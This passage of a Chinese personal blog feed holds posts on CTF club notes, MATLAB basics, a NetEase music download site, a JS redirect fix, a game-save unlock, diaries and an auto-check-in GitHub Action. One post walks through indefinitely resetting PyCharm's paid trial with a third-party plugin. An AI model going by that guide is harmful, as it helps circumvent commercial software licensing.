MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:MaxMinusTimes+i]))
except:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:]))
MaxMinusTimesSumPos = MinusTimesSum.index(max(MinusTimesSum)) # 确定从哪里开始减,怎么减

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + CTF学习笔记(大学篇)01 —— CTF入门 + + /posts/CTF-in-College-1/ + +

前记

因为学校开启俱乐部活动了,然后我选的是网络攻防俱乐部,本身之前就玩过一些东西,顺带记点东西,便开启了这个坑~

所有未经允许的入侵均为违法

USB Ninja

一个可以伪装成各种正常的USB设备的攻击设备,因为体积非常小,甚至可以伪装成普通的数据线,鼠标啥的,有配套的手机蓝牙控制程序

不过因为好像是蓝牙控制所以距离应该……

资源搜索

B站、Google等(B站永远滴神!)

从软件入门网络安全

  • 脚本:Python、VBS、批处理、bash、ps1(Powershell)
  • 系统:Windows、Linux
  • 流程:Kali

从硬件入门网络安全

  • BadUSB作为模拟键盘生成恶意脚本产生攻击(17年在美国黑客大会提出,然而19年被国内的大佬们玩烂了额呵呵呵呵呵呵呵呵呵呵)【atmega32】
  • (然后我想起了在我家里吃灰的那一套Arduino)

在短时间内提高的方法——CTF训练平台

]]>
+ + + + + CTF + + + + + + + CTF + + Sec + + + +
+ + + + + NeteaseMusicDownload —— 网易云音乐自助下载网站 + + /posts/NeteaseMusicDownload/ + +

下载站主页


这个项目起源于一个生活小例子。昨天(2022.2.9)我在剪视频,然后需要某一首歌,结果网易云直接不给我下(会员限定)

那没办法,我只能看看找点别的办法,最开始想到的是@nondanee/unblocknetease这个项目,但是这个项目年久失修,我打开了代理通道后,网易云接入就发现,网易云提示未连接到网络,说白了就是用不了

后来我想到我手头上有网易云音乐的对外链接的api,想想应该可以拿这个东西搞定这个事情,这个项目便诞生了~


找模板

做一个网站,首先颜值必须得高,这里我去html5up找了一个模板来用(因为懒QAQ)

因为这个网站所需要的元素很简单,就是一个输入框、一个按钮而已

最终找了Eventually这个模板,下载下来进行修改

写按钮事件

这里就是要用户把链接帖进去,然后把输入的内容的网易云域名改为我的api域名,所以就在JavaScript里面做了一下字符串替换

1
2
3
4
5
6
7
8
9
10
11
12
13
function openNew(){
var link = document.getElementById("link").value;
const NeteaseReg = new RegExp('music.163.com')
const schemeReg = new RegExp('^https?://')
if(NeteaseReg.test(link) && schemeReg.test(link)) {
var ToOpen = link.replace("music.163.com", "api.ninym.top").replace("/#/","/"); //防止解析暴毙
window.open(ToOpen);
}
else{
alert('请输入正确的网易云链接!\n例如 https://music.163.com/song?id=467787951&userid=252340012')
}
}

在这里用了两个正则表达式来判断是否含有网易云域名和是否为http(s)链接,如果不是就弹出提示,如果是就跳转到下一个页面

/song页面下,再写一个JavaScript,直接获取网易云的外链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg); //获取url中"?"符后的字符串并正则匹配
var context = "";
if (r != null)
context = r[2];
reg = null;
r = null;
return context == null || context == "" || context == "undefined" ? "" : context;
}
if (GetQueryString("id") == ''){
undefined
}
else{
window.open('https://music.163.com/song/media/outer/url?id='+GetQueryString("id")+'.mp3','_self');
}

GetQueryString是将连接中的query参数解析出来,因为这里只需要用到id这个参数,所以判断一下如果id为空,就不采取任何操作,如果id不为空,就跳转到网易云链接进行下载

打包上传

接着将用户页打包上传到Github仓库GamerNoTitle/NeteaseMusicDownload: 一个可以下载网易云歌曲的网站,将api上传到另一个Github仓库并绑定不同的域名,就完成啦!

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + MATLAB学习笔记 20211125 + + /posts/MATLAB20211125/ + +

变量类型

注:使用class(x)可以获得x变量的类型

整型

位数有8、16、32、64位

无符号型uint8(x),范围是02^8-1 (0000000011111111)

有符号型int8(x),范围是-2^72^7-1 (1000000001111111)

典例:

x = int8(129) 输出 x=127(超出了范围)

x = uint8(129) 输出 x=129

浮点型

分为单精度(single,4bytes)和双精度(double,8bytes),默认为双精度

single(x) 转为单精度型 double(x) 转为双精度型

复型

(其实就是复数,与Python差不多)

a+bi or a+bj(i与j一样)

使用real函数求得实部,imag函数求得虚部

输出格式

format命令,使用方法为format 变量类型,只影响数据的输出格式而不影响计算和存储

回到默认输出格式的话直接使用format即可

常用数学函数

函数运算规则

函数的自变量规定为矩阵变量,也可以是标量(为矩阵的一种特例),运算时将函数逐项作用于矩阵每个元素上,输出结果为矩阵

数学函数

三角函数类sin(x)(x为弧度)sind(x)(x为角度)

exp(x) 对x进行e^x的运算

应用

三角函数

以弧度为单位则直接使用,以角度为单位则要在后面加d,例如

sin(radian) & sind(degree)

绝对值

就是abs(x),与python一样,但是有种特殊用法是求字符串的ASCII码

例如abs('a')会输出97

取整函数

与C++有点类似

round(x)进行四舍五入取证

celi(x)进行向上取整

floor(x)进行向下取证

fix(x)舍去小数取整(实际上是取距离0近的那个数)

计算函数

rem(x,y) 求余函数,x为被除数,y为除数

isprime(n) 判断n是否为素数,TRUE则返回1,FALSE则返回0

向量生成

x=1:100 将1~100组成的所有整数作为向量赋给x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
x = 1:100
x

[output]
x =

125

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

2650

26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

5175

51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

76100

76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

x=find(n)

find()函数的功能是找到向量或者矩阵中不为0的元素

典例:求[1,100]间的所有素数

1
2
3
4
5
6
7
8
9
10
11
12
13
x=1:100;
k=isprime(x);
k1=find(k);
p=x(k1)
p =

124

2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89

25

97

开始学习MATLAB了,因为上网不太方便所以部署应该是几天的笔记一起部署

变量及其操作

变量命名:开头为字母(不能是下划线),可用字母、下划线、数字,长度最大为63字符,大小写敏感

函数/命令命名:遵循变量命名的同时要求全小写

赋值

最基础的直接用变量名=表达式即可,但是如果直接写表达式,那么就会直接赋给MATLAB的变量ans,如果在变量名=表达式后面加分号变成变量名=表达式;,那么则不会输出变量名的值

默认赋值变量

变量名为ans,如果直接输入表达式,那么值会直接被赋值给ans

预定义变量

ans 默认赋值变量

i j 虚数单位

pi 圆周率

NaN 非数

变量的管理

1、在工作区窗口可以对内存进行管理(删除和修改)

2、使用who或者whos可以看到变量(前者只显示名称,后者会给出大小、内容、类型等)

变量的导出/导入

文件格式为.mat,可以保存工作区变量

使用save 文件名 变量名 ...来保存变量、load 文件名来载入变量

]]>
+ + + + + MATLAB + + + + + + + MATLAB + + + +
+ + + + + MATLAB学习笔记 20211126 + + /posts/MATLAB20211126/ + +

矩阵

矩阵的建立

用中括号括起来,按矩阵行的顺序输入各元素,同一行的用逗号,或者空格 分割,不同行的用分号分割

例如:

1
2
3
4
5
6
7
8
a = [1 2 3; 4 5 6; 7 8 9]

[output]
a =

1 2 3
4 5 6
7 8 9

矩阵可以利用已建好的矩阵来建立更大的矩阵,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
A = [1 2 3; 4 5 6; 7 8 9];
B = [-1 -2 -3; -4 -5 -6; -7 -8 -9];
C = [A, B; B, A]

[output]
C =

1 2 3 -1 -2 -3
4 5 6 -4 -5 -6
7 8 9 -7 -8 -9
-1 -2 -3 1 2 3
-4 -5 -6 4 5 6
-7 -8 -9 7 8 9

可以用实部矩阵和虚部矩阵构成虚部矩阵,例如

1
2
3
4
5
6
7
8
9
B = [1 2 3; 4 5 6];
C = [6 7 8; 9 10 11];
A = B + i * C

[output]
A =

1.0000 + 6.0000i 2.0000 + 7.0000i 3.0000 + 8.0000i
4.0000 + 9.0000i 5.0000 +10.0000i 6.0000 +11.0000i

冒号表达式

可以使用冒号表达式来建立行向量(矩阵的特殊类型)

格式为e1:e2:e3e1为初始值,e2为步长,e3为终止值,跟Python的range(Start, End, Step)有点相似,只不过终止值和步长换了位置,在冒号表达式中,e2可以不写,那步长就默认为1,即t = 0:1:5 = t = 0:5

例如:

1
2
3
4
5
6
t = 0:1:5

[output]
t =

0 1 2 3 4 5

linspace函数

可以用于产生行向量,用法为linspace(a,b,n)a是第一个元素,b是第二个元素,n是元素总数,当n省略时,其缺省值为100(跟numpynumpy.linspace(Start, End, Count)用法一样,只不过numpy的缺省值是50

结构矩阵(struct)

感觉有点类似制表,使用格式为结构矩阵元素.成员名 = 表达式,这里还是给出个例子

1
2
3
4
5
6
7
8
9
10
11
12
a(1).x1 = 10;a(1).x2 = 'liu'; a(1).x3 = [1 2 3];
a(2).x1 = 20;a(2).x2 = 'wang'; a(2).x3 = [4 5 6];
a

[output]
a =

包含以下字段的 1×2 struct 数组:

x1
x2
x3

在变量浏览器里面可以看到这个a变量长这样

x1x2x3
110‘liu’[1,2,3]
220‘wang’[4,5,6]

单元矩阵

建立方法:使用大括号{}将元素括起来,所有元素可以是不同类型的数据,例如:

1
2
3
4
5
6
7
8
9
10
b = {10 'liu' [1 2 ; 4 5]; 20, 'wang' [6 7 ; 9 10]}

[output]
b =

2×3 cell 数组

{[10]} {'liu' } {2×2 double}
{[20]} {'wang'} {2×2 double}

在变量浏览器里面可以看到b变量长这样(就是真正的表格了,没有x1,x2,x3这种头头索引)

123
110‘liu’[1,2;4,5]
220‘wang’[6,7;9,10]

矩阵元素的使用

引用方式

下标法

使用变量名(位置)来索引,例如:

A(3,2)表示A矩阵第3行第2列的位置,同样可以通过该方式修改矩阵中的元素,例如:

A(3,2) = 100就是将A矩阵第3行第2列的元素修改为100

实例
1
2
3
4
5
6
7
8
9
10
A = [1 2 3; 4 5 6];
A(5,5) = 10

A =

1 2 3 0 0
4 5 6 0 0
0 0 0 0 0
0 0 0 0 0
0 0 0 0 10

当给出的行和列的下表超出了矩阵的行数和列数,那将会自动扩展原来的矩阵并将为赋值元素自动赋值为0

序号法

序号就是元素在矩阵的排列顺序,存储顺序是第一列->最后一列(不是我们习惯性的行),例如:

1
2
3
4
5
6
7
A = [1 2 3; 4 5 6];
A(3)

[output]
ans =

2

序号与下标是一一对应的,以m*n矩阵A为例,矩阵A(i,j)的序号是(j-1)*m+i

矩阵元素的序号和下标可以通过sub2ind(行列换序号)和ind2sub(序号换行列)函数进行相互转换

调用格式:

D=sub2ind(S,I,J)S表示由矩阵的行数和列数组成的向量,一般用size(变量名)来获取;I表示转换矩阵元素的行下标,J表示转换矩阵元素的列下标。若IJ为矩阵的话,会将多个元素的下表转换为序号,此时IJ的行列数必须相同

[I,J]=ind2sub(S,D)S表示行数和列数组成的向量,D表示序号,返回序号所对应的行下标和列下表,I为行下标,J为列下标

冒号表达式

这一节以下面的几个例子展开:

1
2
3
4
A(i,:)% 第i行的全部元素
A(:,j)% 第j列的全部元素
A(i:i+m,k:k+m)% 第i~i+m行内且在第k~k+m列中的所有元素
A(iLi+m,:)% 第i~i+m行的全部元素

从上面看,个人认为有点像Python的列表切片那种东西,只不过这里是二维的而且是全闭区间,Python的是半开半闭区间

可以使用end来表示某一位的末尾元素下标,例如:

1
2
3
4
5
6
7
A = [1 2 3; 4 5 6; 7 8 9];
A(end,:)

[output]
ans =

7 8 9

此处的end就是第三行,也就是说end会取到行/列的最大值

删除矩阵元素

利用空矩阵删除矩阵的元素

x为非空矩阵,此时想删除x中的内容,则直接使用x = []就可以删除元素了

可以跟冒号表达式一起使用删除大矩阵中的部分元素

改变矩阵的形状

利用函数reshape(A,m,n),表示在矩阵A保持不变的情况下,将A排列为m*n的二维矩阵,但是不改变元素个数和存储顺序,举例:

1
2
3
4
5
6
7
8
9
x = [1 2 3 4 5 6 7 8 9 10 11 12];
y = reshape(x,3,4)

[output]
y =

1 4 7 10
2 5 8 11
3 6 9 12

特殊的表达方式A(:)将A的每一列元素堆叠起来,成为一个列向量,例如:(此处的x与上面的一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
z = x(:)

[output]
z =

1
2
3
4
5
6
7
8
9
10
11
12

这样z就是用x中的元素堆叠成的列

]]>
+ + + + + MATLAB + + + + + + + MATLAB + + + +
+ + + + + Pycharm无限使用记录 + + /posts/Pycharm-Unlimited-Evaluate/ + +

Pycharm是个老牌的PY编辑器了,但是一直都没用它因为它收费而且社区版少很多功能。这不别人又给我推荐了一下它,作为老白嫖怪(花钱是不可能花钱的这辈子都不可能的)当然是要找办法来搞定它的激活的。

一开始我是找的激活码,但是我发现这软件的激活码没那么简单,后来就找到了下面的方法

(PS:理论上此方法适用于所有的JetBrains软件)

首先我们要安装一个Pycharm(这不是废话嘛),这边建议从官方下载不要走C&J。官方下载链接在这里:https://www.jetbrains.com/pycharm/

然后我们打开Pycharm,选择Evaluate,也就是评估,进入30天的试用期

在顶上找到File,点击Settings

然后在左边找到Plugins,点击上面的小齿轮,选择Manage这一项

然后在窗口点击+号,加入https://plugins.zhile.io这一项

返回,搜索IDE Eval Reset,并安装,然后重启你的Pycharm

重启以后,你能在Help选项卡下找到Eval Reset选项

Auto reset before per restart点上,点击右边的Reset,就会被重置为30天试用期了


本文结束!说点别的,因为我所去到的大学对网络、设备有着严格的要求,所以我可能长达一年都不会更新,请大家谅解!

]]>
+ + + + + + Software + + + +
+ + + + + 日常吐槽10:为什么我叫做"GamerNoTitle"? + + /posts/ID-History/ + +

总有人问我:为啥你叫XXX呀?那么我今天就来告诉你们我的这些ID都是怎么来的

(每个ID的故事用一个标题分割,可以在目录中快速找到)

bilibiliMeowMiku

这个主要是因为最开始我在玩CODOL(tx打钱)的时候,本来我在华东大区,当时因为活动挤不进去,当时我本来也就是为了活动上线的,既然挤不进去我也没办法,然后我同学(小学的)就说其他区也可以,但是我其他区没创号,然后就要起ID。我当时很烦恼,本来也就不擅长这种事情,然后我同学说:“那你就叫‘喵呜初音’吧!”然后我也很老实地打了上去,从此以后就出现了喵呜初音这个ID,我所有的国内的软件、游戏的ID都是这个。因为B站也写的这个,而外面的游戏和网站要求的用户名不能用中文,然后就用MeowMiku,但是这个ID早就被注册了,所以前面加上bilibili就变成了bilibiliMeowMiku

FutureCode

这个主要是用惯了上面的ID发现太长了,然后就想换一个ID。当时B站在微软商店的公司名称是上海未来代码科技有限公司,然后我就把未来代码拿下来用变成了FutureCode,然后就用上了

FutureCompile

这个是因为FutureCode太多人用了导致重名,就把Code改成了Compile(编译)

Gamer.bili

这个是我在高一的时候开始用的,因为当时一直在玩游戏,所以感觉给自己冠以Gamer的头衔好像没什么问题,然后还是出于对B站的热爱,就在点后面加了bili的字样

GamerNoTitle

这个是从Gamer.bili变过来的,当时很喜欢听一首歌叫做NoTitle(放在这行的下面)

        

然后就把bili改成了NoTitle,成了我最常用的ID

更多ID?

以后再更……

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 音灵INVAXION解锁工具制作全纪录 + + /posts/INVAXION-Unlock-Log/ + +

PS:音灵解锁补丁是我在高考前1个月左右的时候摸的,具体可以看Commit记录√

音灵在2021.2.5宣布停运,我直到五月左右上游戏的时候才发现,我卡在了加载页面,翻了一下讨论区才发现,游戏停运了

但是我还在讨论区里找到了这个

然后我就下了这个使用了,发现,诶,我的铺面确实全解锁了,于是我开始了我的星舰解锁工具和角色解锁工具的制作


星舰这个东西,我翻了一下我自己的存档(在注册表)

注:本图是解锁完成后的注册表

发现数字都在个位数,而我数了一下星舰的数量是13,我就在想,星舰的编号是不是从1~13,然后我就开始了我的解锁之旅

一开始我先将里面的内容换成了

1
[{"themeID":1},{"themeID":2},{"themeID":3},{"themeID":4},{"themeID":5},{"themeID":6},{"themeID":7},{"themeID":8},{"themeID":9},{"themeID":10},{"themeID":11},{"themeID":12},{"themeID":13}]

这样一长串(拿Python生成的,毕竟我可不想一个一个打)

转成Hex就变成了

1
5b,7b,22,74,68,65,6d,65,49,44,22,3a,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,33,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,34,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,35,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,36,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,37,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,38,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,39,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,30,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,33,7d,5d

然后导入注册表,接着发现

爷进不了离线模式了……

有点崩溃,一开始还以为是思路有问题,先恢复了一下(谁在操作存档的时候不备份呀)

恢复以后再次打开注册表发现:themeId不是themeID

哎呀犯了一个低级错误,重新来

将所有的ID改成Id重新导入,诶成了,但是巨蟹号(最后含金量的主题)没有解锁

然后试了一下ID0和ID14,终于搞定了,ID14是巨蟹号的

人物当然也一样啦,但是人物那么多,而且ID还不是像主题这样连着的

注:本图是解锁完成后的注册表

我就去翻了一下文件,在音灵 INVAXION\INVAXION_Data\StreamingAssets这个目录下找到了所有的角色文件,在文件名上附有ID

再次掏出工具(Python),生成对应的列表,然后导入,果然不出所料,所有角色都已经解锁了

接着打包,发布在Steam社区,在Github配布文件,搞定√

星舰解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675338262041

人物解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675345244413

铺面解锁(不是我做的,但是是我参考的):https://steamcommunity.com/app/921630/discussions/0/5350815203296872967/

存档配布(只打了全铺面,我的个人存档):https://steamcommunity.com/app/921630/discussions/0/3130541756147189784/(中文)

https://steamcommunity.com/app/921630/discussions/0/3150808588793019131/(英文)

要是你有Steam点数可以稍微给我打赏一点,谢谢老板(*^▽^*)

]]>
+ + + + + Tech + + + + + + + Tech + + Regedit + + Save + + Game + + + +
+ + + + + 网站优化:网站目录缩短及重定向 + + /posts/301Redirect/ + +

考完高考啦,闲的没事干,想着之前各种SEO优化服务给我发的邮件,我想说:我自己也知道我的链接太长了呀!!!

所以这波是自己来优化(其实就是把链接缩短了而已)

本来是想着每个都加个301跳转,这样我就可以跳转到网页了,然后新建了两个干了起来

本来的想法

然后看到我的一堆文章,啥呀,整整三十六篇???!我这得搞到什么时候

说句实话,我才弄好俩了,就已经感觉太麻烦了,这条路行不通

然后我就想用我三脚猫功夫的JavaScript来弄,于是就有了下面这种问题

想法:

  • 使用window函数获取当前链接
  • 使用正则表达式匹配链接
  • 将连接中的日期统一替换为posts
  • 控制301访问新的链接

想好了,开工!


我的第一版JavaScript是这么写的

1
2
3
url = window.location.href
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result

解读一下:

  • 获取当前链接地址并赋值为url
  • 将替换url中匹配正则表达式的部分,并替换为posts
  • 通过window函数将网页定位到新的链接

写好,上传到Github并用jsdelivr引入,渲染访问

然后问题就来了:所有的网页(因为我是全局引入)会进入无尽的刷新状态,原因是访问时不管是匹配还是不匹配都会进行301重定向,重定向完后访问的目标网页也有这个JavaScript,再次进行重定向,然后就进入了循环

(事实上,我到了第三版才发现这个问题,所以我们先放着这个问题)


下面是第二版√

1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == True){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}
else{
window.location = url
}

这个说句实在话,我在404.html引入的,然后将posts重定向的地方对了,但是,一旦不符合这个表达式,还是会陷入死循环,死在404界面上,然后这时候我才发现了这个问题,再次进行修改


第三版开始啦!

1
2
3
4
5
6
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}

仍旧是在404页面引入的,这版是好的,直接放在网站的/js/301Redirect.js里面,404页面引入即可

另:在做这个的过程中,jsdelivr好像有点问题,就是本来可以通过访问purge.jsdelivr.net来刷新文件缓存,但是实际上自从jsd上次Down了以后,访问就刷不了了,所以最后采用的是放在网站的目录中而不是放在jsd引入

总之这一次的网站优化就这么搞定了,新链接还行,就等搜索引擎自己帮我改过去了√


2021.6.24更新

发现访问的链接并不一定是上面那样/YYYY/MM/DD/:post的形式,甚至有/YYYY/MM/DD/:post//YYYY/MM/DD/:post/index.html的访问方式,所以我又来修改了

1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
whethersplash = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\//i)
whetherindex = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\/index.html/i)
if(whether == true | whethersplash == true | whetherindex == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}

加多了两个判断,然后用或运算符在if中判断是否需要跳转,完事!

不知道这样可不可以,用一段时间再说吧√

]]>
+ + + + + Tech + + + + + + + Tech + + SEO + + Optimize + + Webmaster + + + +
+ + + + + “陪伴是最长情的告白” + + /posts/diary6/ + +

这应该是我第一次写这种对话式的文章,怎么说呢,本文其实是我要说的一些东西……

相信经常跟我聊天的群友们知道,我现在(2020.7.15)是一名高三学生,在2021年参加高考,也就是说,现在我其实并没有什么精力放在网站的维护和文章的撰写上

2019年7月1日,本站正式上线,当时还是本主题的早期开发版,功能还挺少的,而且没有多级导航菜单。文章只有一篇hello world,直到我7月5号写了当时我用的挺多的一个软件——cmder,才有了第一篇文章

7月9号,我同学LOL想带我上分,但是发现自己的电脑系统坏了,问我怎么装,我说了以后他并没有明白,就写了一篇Windows安装教程

此后,我一直在更新一些软件分享类的教程,当然也包括hexo的部署直播服务器srs的搭建CloudFlare Workers的实战等文章,当然其中包括我高一同学合作完成的小说“这个故事由我开始,也应由我来结束”(主页隐藏)

到了今年的寒假,因为新冠肺炎爆发,我在家里很无聊,开始写起了爬虫,就出现了Hitokoto-SpiderNetease-Comment-Spider这两个项目,其实这是我第一次将python的知识拿来实战,后来就开始不断用python弄各种东西,包括Valine-Magic,还写了几个MCDReforged的插件,深刻地体会到了开发的乐趣

2020/5/11这一天,我回到了学校,开始复学。从这天开始,我露头的机会就少了很多,主要是①从工作室退休了 ②不是经常坐在电脑前,所以大家的留言我会比较晚回复(高PING战士)

不过我还是在坚持更新Valine-Magic,渐渐地从Github中回到了现实生活

2020/7/15这天,我正式考完了高二最后一场考试,升到了高三。我将在2020年8月9日返校开学,到那时,我将会真正投入学习,所以就没什么精力去更新本站和Valine-Magic(可以交Issue和PR),希望各位友链大佬能够给小弟保留一个位置

陪伴是最长情的告白,感谢各位访客的陪伴,到了今天在我写这篇文章的时候,UV是7538,PV是24138。不管你是刚来到本站,还是以前就来过本站,我在这里都感谢你们。我将在2021年6月8日到2021年6月10日参加全国高考,届时等我合上笔盖,从学校回到开发界,我相信我能够闯出属于我的天空!

想与我联系,可以使用QQ加3559869084或者发邮件到admin@bili33.top,我的索爱W595C虽然已经饱经沧桑,但是他还是能看邮件的……

菠咯波咯哒のSony Ericsson W595C

GamerNoTitle

2020-07-15 18:27:01

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事 + + /posts/diary9/ + +

本文直接从我个人的讨论区复制过来的,图片是GithubUserContent域名下的,加载可能有点慢

原链接:关于得知Github查封Action仓库的信息后我自行删除脚本的这档事 #2

关于得知Github查封Action仓库的信息后我自行删除脚本的这档事(不要以为随便起个标题就是长标题了呀喂(#`O′))

昨天(2021.5.19)收到别人在我的网站下留言是这么说的:
image
鉴于这位之前发过mcbbs的账号给我,所以我迅速就取得了联系(邮件上),然后得到了下面的消息(直链):
imageimage

我也是非常震惊,本来打算第二天(2021.5.20)把所有仓库删了的(因为临近高考没带智能手机),但是正巧,晚上有同学来找我拷毕业照拍摄当天的照片,所以我就借了一台手机把我的源码备份了然后全部删除了

这就是我删除了我的仓库的原因,按道理,所有的Fork会变成Origin类型的仓库(即源仓库,搜索是能检索到的),但是实际上当我检索我的两个仓库的时候就发现,220+的wyycg-autocheckin只有 个搜索结果,而另一个有120+的bilibiliJudge只有2个搜索结果
image
image

说明Github这波是真的行动了,可能是我行动比较早,所以目前没受到封号

有的人可能会问:如果我把仓库调成私有呢?
结果是:虽然私有仓库GItHub官方”不能”看到你的内容和Action的详细记录,但是发现了异常他们也可以提权处理
image

至于那些没有提供Action的运行方式的而是云函数的那些,也遭到了不同程度的后果
image
image

那如果我配布到Gitee呢?
事实上,Gitee的功能并没有Github那么好用,而且就个人而言我比较讨厌Gitee,所以我应该是不会配布到Gitee的
image

总而言之,这一次的时间对于整个脚本界都是一次灾难,我们从来没有想过Github会清理脚本类型的仓库。对我来说,因为行动比较早所以没有受到严重的影响,但是我近期应该不会再致力于脚本的开发工作了,临近高考压力也比较大。等高考完网易云那个应该会做成云函数版在Github重新配布(会配Action文件但是如果要启用的话需要自己挪入对应的位置),B站那个嘛,看情况而论。


题外话:
虽然我每次都把三个Badges丢在脚本的开头,但是实际上没有任何一个人给我赞助(o(╥﹏╥)o)
前往爱发电赞助 使用微信赞助 使用支付宝赞助

有的时候我在想:做脚本是否是一件正确的事情,
之前我的B站仲裁脚本只是开了个坑(建了个仓库并写了个README),就有别人来支持我了,到现在我们两个还保持着联系。他经常发我一下风纪委员会的总结专栏下面的评论:
image
image

我们在做/使用脚本的过程中是否侵犯了其他用户的利益,我觉得这是值得我们脚本开发者和使用者深思的事情。反正我近期不会再开发脚本了(一部分是高考,一部分是现在在做Koikatu的卡牌,不懂得自己搜)

如果你有什么建议/意见,可以在这个Discussion下面留言,看到必回。就这样(^o^)/


2021/5/22 更新

今天回家后发现本人小号有两个仓库已经中招了
image
image
image

]]>
+ + + + + diary + + + + + + + diary + + Github + + Action + + + +
+ + + + + 白嫖?给我也整一个!白嫖网易云游戏平台时长 + + /posts/NeteaseCloudGameFree/ + +

网易云游戏平台

有谁不爱白嫖呢,特别是配置好的东西

网易云游戏平台我在它内测期间用过,那个时候游戏变动太大(指可玩的游戏下周就变得不一样了),然后就放弃了

几个月前不是原神公测了嘛,就发现这个平台有原神(主要是自己手机玩不动),所以就开始该平台的使用

但是!!!它每天只有120~180分钟的游戏时长(不签到120mins,签到不等),而且电脑游戏的时长是累计制的,不签到就等于没有!!!

于是,我开始了我的白嫖之旅……我写了一个自动签到脚本,用Github Action帮我运行,就可以自动签到了!(耶~~~)

你可以在Github搜索wyycg-autocheckin找到这个脚本,也可以直接访问https://github.com/GamerNoTitle/wyycg-autocheckin来获取使用


本脚本通过使用Github Action来进行网易云游戏签到操作,让你能够天天白嫖网易云游戏时长和云电脑!

喜欢就给我点个STAR吧!

签到时间是早上10点,如果有需要就自己修改.github/workflows/AutoSignin.yml中第12行的时间,时间遵循UTC时间,+8才是我们的时间

请不要使用非master分支脚本,他们通常正在开发新功能,会有BUG出现

关于签到失败返回的结果(这里有实例),如果你有解码的经验,可以前往这里提供帮助,Thanks♪(・ω・)ノ

赞助

点击下面的Badge其中一个就可以跳转到相应页面,感谢老板的支持!

前往爱发电赞助 使用微信赞助 使用支付宝赞助

目录

使用方法

变量添加

1、Fork本仓库,按右上角的分支按钮(如图)

2、进入设置,设置变量cookieteleid teletoken SCKEY QQKEY PPKEY(这五个可选,但是teleidteletoken要用的话就得两个都要配置!)

请注意:你无需在仓库的secrets内设置名为GITHUB_TOKEN的变量,该名称本身就是指定为自己账户下名为GITHUB_TOKEN的密钥,如果你在仓库的secrets内设置将会被Github提示无效

如果使用多用户,多个cookie请使用#分隔

如何获取变量内容?请点这里

测试脚本

请在当天没有签到的情况下测试!!!

我们先进入Action界面,启用Action

然后我们进入对应的脚本,启用脚本,并进行测试

除了点STAR进行启动以外(现在STAR启动不了了),你也可以点击右边那个白白的按钮来启动

只要测试通过就是没问题,如果你配置了TELEGRAM还会收到你的BOT给你发送的消息

测试通过后,你还需要创建保活需要用到的Github Token,详情可以看保活策略这一节(其实就在下面撒)

保活策略 (新版Action可跳过,但是在设置里面的Action权限要放行写入权限!)

因为Github Action在仓库60天内没有任何Push的时候会禁用你的Action,这时候我们就要进行保活

保活Action已经写好了,但是这里有一些步骤是需要你进行的,请看下面的图片生成GITHUB_TOKEN以便让脚本造成的更改能够正常推送入你的仓库

变量内容获取

cookie获取

首先我们进入官网,进行登录,然后用F12打开开发者工具后使用Ctrl+F5进行刷新,会刷出很多结果

我们在里面找到@me这一项,然后在右边找到Authorization将冒号后面的内容复制下来就是我们所需要的Cookie

如果使用多用户,多个cookie请使用#分隔

teleid获取

用你的Telegram找到@userinfobot,点个Start,会直接给你回复你的ID,复制下id后面的数字就是teleid了

teletoken获取

找@BotFather进行机器人的创建,按照提示创建即可,会给你一个API TOKEN,如果一不小心点过去了可以用命令/mybots管理自己的bot,找到自己想要使用的bot并获取API就可以了

SCKEY获取

访问ServerChanTurbo官网,并用你的微信扫码登陆,获取推送用的KEY即可(因为我没有使用这个推送方法所以没有图)

请各位使用了SC推送服务的小伙伴尽快迁移到SCT,原服务将会在四月底下线

QQKEY获取

